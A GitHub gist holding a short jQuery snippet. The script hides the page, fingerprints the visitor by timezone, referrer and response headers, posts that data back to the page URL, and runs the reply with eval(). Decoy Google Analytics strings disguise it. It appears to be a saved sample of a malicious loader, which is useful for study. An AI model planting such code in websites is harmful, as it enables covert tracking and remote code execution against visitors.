Created
March 28, 2017 20:42
-
-
Save brad-anton/9d0c6654861d952f094824182cebdd29 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(document).ready(function() | |
{ | |
$("body").hide(); | |
var f=new XMLHttpRequest(); | |
f.open("GET",document.location,false); | |
f.send(null); | |
var g=f.getAllResponseHeaders().toLowerCase(); | |
var b="GoogleAnalyticsObject"; | |
var c=("document","script","//www.google-analytics.com/analytics.js"); | |
c=("create","UA-3188658-1","auto"); | |
c=("send","pageview"); | |
var d=jstz.determine(); | |
var e=d.name(); | |
$.ajax( | |
{ | |
url:location.href,type:"POST",data:"tz="+e+"&r="+document.referrer+"&he="+g,success:function(a) | |
{ | |
eval(a) | |
} | |
} | |
) | |
} | |
); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment